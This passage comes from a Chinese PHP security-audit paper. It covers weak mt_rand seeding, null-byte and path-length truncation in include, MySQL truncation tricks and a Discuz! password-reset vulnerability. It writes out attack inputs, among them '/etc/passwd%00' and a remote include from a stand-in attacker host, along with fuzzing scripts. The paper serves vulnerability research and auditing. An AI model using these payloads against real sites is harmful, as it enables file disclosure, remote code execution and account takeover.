if(!($x % 10000)) echo $x / 10000;
}
echo "\n";
return false;
}
?>
-------------------------------------------------------------------------------
運(yùn)行結(jié)果如下：
-------------------------------------------------------------------------------
php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr
-------------------------------------------------------------------------------
當(dāng)10634次時(shí)候我們得到了結(jié)果。
當(dāng)PHP版本到了5.2.1后，通過修改算法修補(bǔ)了奇數(shù)和偶數(shù)的播種相等的問題，這樣也導(dǎo)致
了php5.2.0前后導(dǎo)致同一個(gè)播種后的mt_rand()的值不一樣。比如：
--code-------------------------------------------------------------------------
<?php
mt_srand(42);
echo mt_rand();
//php<=5.20 1387371436
//php>5.20 1354439493
?>
-------------------------------------------------------------------------------
正是這個(gè)原因，也要求了我們的exp的運(yùn)行環(huán)境：當(dāng)目標(biāo)>5.20時(shí)候，我們exp運(yùn)行的環(huán)境也
要是>5.20的版本，反過來也是一樣。
從上面的測試及分析來看，php<5.26不管有沒有定義播種，mt_rand處理的數(shù)據(jù)都是不安
全的。在web應(yīng)用里很多都使用mt_rand來處理隨機(jī)的session，比如密碼找回功能等等，這樣
的后果就是被攻擊者惡意利用直接修改密碼。
很多著名的程序都產(chǎn)生了類似的漏洞如wordpress、phpbb、punbb等等。（在后面我們將
實(shí)際分析下國內(nèi)著名的bbs程序Discuz!的mt_srand導(dǎo)致的漏洞）
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：php4 php5<5.2.6
系統(tǒng)要求：無
審計(jì)策略：查找mt_srand/mt_rand
+++++++++++++++++++++++++
5.6 特殊字符
其實(shí)“特殊字符”也沒有特定的標(biāo)準(zhǔn)定義，主要是在一些code hacking發(fā)揮著特殊重作用
的一類字符。下面就舉幾個(gè)例子：
5.6.1 截?cái)?/p>
其中最有名的數(shù)大家都熟悉的null字符截?cái)唷?/p>
5.6.1.1 include截?cái)?/p>
--code-------------------------------------------------------------------------
<?php
include $_GET['action'].".php";
?>
-------------------------------------------------------------------------------
提交“action=/etc/passwd%00”中的“%00”將截?cái)嗪竺娴?#8220;.php”，但是除了“%00”還有沒有
其他的字符可以實(shí)現(xiàn)截?cái)嗍褂媚兀靠隙ㄓ腥讼氲搅诉h(yuǎn)程包含的url里問號“?”的作用，通過提交
“action=http://www.hacksite.com/evil-code.txt?”這里“?”實(shí)現(xiàn)了“偽截?cái)?#8221;：），好象這個(gè)
看上去不是那么舒服那么我們簡單寫個(gè)代碼fuzz一下：
--code-------------------------------------------------------------------------
<?php
////////////////////
////var5.php代碼:
////include $_GET['action'].".php";
////print strlen(realpath("./"))+strlen($_GET['action']);
///////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
$str=$str."/";
$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
//1.txt里的代碼為print 'hi';
if (strpos($resp, 'hi') !== false){
print $i;
exit;
}
}
?>
-------------------------------------------------------------------------------
經(jīng)過測試字符“.”、“ /”或者2個(gè)字符的組合，在一定的長度時(shí)將被截?cái)啵瑆in系統(tǒng)和*nix
的系統(tǒng)長度不一樣，當(dāng)win下strlen(realpath("./"))+strlen($_GET['action'])的長度大于
256時(shí)被截?cái)啵瑢τ?nix的長度是4 * 1024 = 4096。對于php.ini里設(shè)置遠(yuǎn)程文件關(guān)閉的時(shí)候
就可以利用上面的技巧包含本地文件了。（此漏洞由cloie#ph4nt0m.org最先發(fā)現(xiàn)]）
5.6.1.2 數(shù)據(jù)截?cái)?br />
對于很多web應(yīng)用文件在很多功能是不容許重復(fù)數(shù)據(jù)的，比如用戶注冊功能等。一般的應(yīng)
用程序?qū)τ谔峤蛔缘膗sername和數(shù)據(jù)庫里已有的username對比是不是已經(jīng)有重復(fù)數(shù)據(jù)，然
而我們可以通過“數(shù)據(jù)截?cái)?#8221;等來饒過這些判斷，數(shù)據(jù)庫在處理時(shí)候產(chǎn)生截?cái)鄬?dǎo)致插入重復(fù)數(shù)
據(jù)。
1) Mysql SQL Column Truncation Vulnerabilities
這個(gè)漏洞又是大牛Stefan Esser發(fā)現(xiàn)的（Stefan Esser是我的偶像:)），這個(gè)是由于mysql
的sql_mode設(shè)置為default的時(shí)候，即沒有開啟STRICT_ALL_TABLES選項(xiàng)時(shí)，MySQL對于插入超
長的值只會(huì)提示warning，而不是error（如果是error就插入不成功），這樣可能會(huì)導(dǎo)致一些截
斷問題。測試如下：
--code-------------------------------------------------------------------------
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");
mysql> insert into truncated_test(`username`,`password`) values("admin x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------
2) Mysql charset Truncation vulnerability
這個(gè)漏洞是80sec發(fā)現(xiàn)的，當(dāng)mysql進(jìn)行數(shù)據(jù)存儲處理utf8等數(shù)據(jù)時(shí)對某些字符導(dǎo)致數(shù)據(jù)
截?cái)唷y試如下：
--code-------------------------------------------------------------------------
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
| 3 | admin | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------
很多的web應(yīng)用程序沒有考慮到這些問題，只是在數(shù)據(jù)存儲前簡單查詢數(shù)據(jù)是否包含相同
數(shù)據(jù)，如下代碼：
--code-------------------------------------------------------------------------
$result = mysql_query("SELECT * from test_user where user='$user' ");
....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
die("already exist");
}
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：通讀代碼
+++++++++++++++++++++++++
5.6.1.3 文件操作里的特殊字符
文件操作里有很多特殊的字符，發(fā)揮特別的作用，很多web應(yīng)用程序沒有注意處理這些字
符而導(dǎo)致安全問題。比如很多人都知道的windows系統(tǒng)文件名對“空格”和“.”等的忽視，這個(gè)
主要體現(xiàn)在上傳文件或者寫文件上，導(dǎo)致直接寫webshell。另外對于windows系統(tǒng)對“.\..\”
進(jìn)行系統(tǒng)轉(zhuǎn)跳等等。
下面還給大家介紹一個(gè)非常有意思的問題：
--code-------------------------------------------------------------------------
//Is this code vul?
if( eregi(".php",$url) ){
die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);
-------------------------------------------------------------------------------
很多人看出來了上面的代碼的問題，程序首先禁止使用“.php”后綴。但是下面居然接了
個(gè)str_replace替換$webdb[www_url]為空，那么我們提交“.p$webdb[www_url]hp”就可以饒過
了。那么上面的代碼雜fix呢？有人給出了如下代碼：
--code-------------------------------------------------------------------------
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
die("ERR");
}
-------------------------------------------------------------------------------
str_replace提到前面了，很完美的解決了str_replace代碼的安全問題，但是問題不是那
么簡單，上面的代碼在某些系統(tǒng)上一樣可以突破。接下來我們先看看下面的代碼：
--code-------------------------------------------------------------------------
<?php
for($i=0;$i<255;$i++) {
$url = '1.ph'.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."\r\n";
}
?>
-------------------------------------------------------------------------------
我們在windows系統(tǒng)運(yùn)行上面的代碼得到如下字符* < > ? P p都可以打開目錄下的1.php。
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：文讀取件操作函數(shù)
+++++++++++++++++++++++++
六、怎么進(jìn)一步尋找新的字典
上面我們列舉很多的字典，但是很多都是已經(jīng)公開過的漏洞或者方式，那么我們怎么進(jìn)一
步找到新的字典或者利用方式呢？
* 分析和學(xué)習(xí)別人發(fā)現(xiàn)的漏洞或者exp，總結(jié)出漏洞類型及字典。
* 通過學(xué)習(xí)php手冊或者官方文檔,挖掘出新的有危害的函數(shù)或者利用方式。
* fuzz php的函數(shù)，找到新的有問題的函數(shù)（不一定非要溢出的），如上一章的4.6的部分
很多都可以簡單的fuzz腳本可以測試出來。
* 分析php源代碼，發(fā)現(xiàn)新的漏洞函數(shù)“特性”或者漏洞。（在上一節(jié)里介紹的那些“漏洞審
計(jì)策略”里，都沒有php源代碼的分析，如果你要進(jìn)一步找到新的字典，可以在php源代碼的基礎(chǔ)
上分析下成因，然后根據(jù)這個(gè)成因來分析尋找新的漏洞函數(shù)“特性”或者漏洞。）（我們以后會(huì)
陸續(xù)公布一些我們對php源代碼的分析）
* 有條件或者機(jī)會(huì)和開發(fā)者學(xué)習(xí)，找到他們實(shí)現(xiàn)某些常用功能的代碼的缺陷或者容易忽
視的問題
* 你有什么要補(bǔ)充的嗎？ ：）
七、DEMO
* DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
（Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt）
PHP版本要求:php4 php5<5.2.6
系統(tǒng)要求: 無
審計(jì)策略:查找mt_srand/mt_rand
第一步 安裝Discuz! 6.1后利用grep查找mt_srand得到：
-------------------------------------------------------------------------------
heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
./include/global.func.php-694- $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);
./include/global.func.php-695- return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric = 0) {
./include/global.func.php:699: PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
./include/global.func.php-700- if($numeric) {
./include/global.func.php-701- $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
./include/global.func.php-702- } else {
./include/global.func.php-703- $hash = '';
./include/global.func.php-704- $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
./include/discuzcode.func.php-32- @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
./include/discuzcode.func.php-38- global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39- $attach = $postlist[$pid]['attachments'][$aid];
./include/discuzcode.func.php-40- if($attach['attachimg']) {
-------------------------------------------------------------------------------
有兩個(gè)文件用到了mt_srand()，第1是在./include/global.func.php的隨機(jī)函數(shù)random()里：
--code-------------------------------------------------------------------------
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------
判斷了版本，如果是PHP_VERSION > '4.2.0'使用php本身默認(rèn)的播種。從上一章里的分
析我們可以看得出來，使用php本身默認(rèn)的播種的分程序兩種情況：
1) 'Cross Application Attacks' 這個(gè)思路是只要目標(biāo)上有使用使用的程序里定義了類似
mt_srand((double)microtime() * 1000000)的播種的話，又很有可能被暴力。在dz這里不需
要Cross Application，因?yàn)樗旧碛形募投x了，就是上面的第2個(gè)文件：
--code-------------------------------------------------------------------------
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------
這里我們肯定dz是存在這個(gè)漏洞的，文章給出來的exp也就是基于這個(gè)的。（具體exp利用
的流程有興趣的可以自己分析下]）
2) 有的人認(rèn)為如果沒有mt_srand((double)microtime() * 1000000);這里的定義，那么dz就
不存在漏洞，這個(gè)是不正確的。首先你不可以保證別人使用的其他應(yīng)用程序沒有定義，再次不
利用'Cross Application Attacks'，5.2.6>php>4.2.0 php本身默認(rèn)播種的算法也不是很強(qiáng)
悍（分析詳見上），也是有可以暴力出來，只是速度要慢一點(diǎn)。
八、后話
本文是80vul的三大馬甲：80vul-A，80vul-B，80vul-C集體智慧的結(jié)晶，尤其是80vul-B貢
獻(xiàn)了不少新發(fā)現(xiàn)。另外需要感謝的是文章里提到的那些漏洞的發(fā)現(xiàn)者，沒有他們的成果也就
沒有本文。本文沒有寫“參考”，因?yàn)楸疚氖且粋€(gè)總結(jié)性的文擋，有太多的連接需要提供限于篇
幅就沒有一一列舉，有心的讀者可以自行g(shù)oogle。另外原本沒有打算公布此文，因?yàn)槔锩姘?br />
了太多應(yīng)用程序的0day，而且有太多的不尊重別人成果的人，老是利用從別人那學(xué)到的技術(shù)來
炫耀，甚至牟取利益。在這里我們希望你可以在本文里學(xué)到些東西，更加希望如果通過本文你
找到了某些應(yīng)用程序的0day，請低調(diào)處理，或者直接提交給官方修補(bǔ)，謝謝大家！！
九、附錄
[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/
[3] http://bugs.php.net/bug.php?id=40114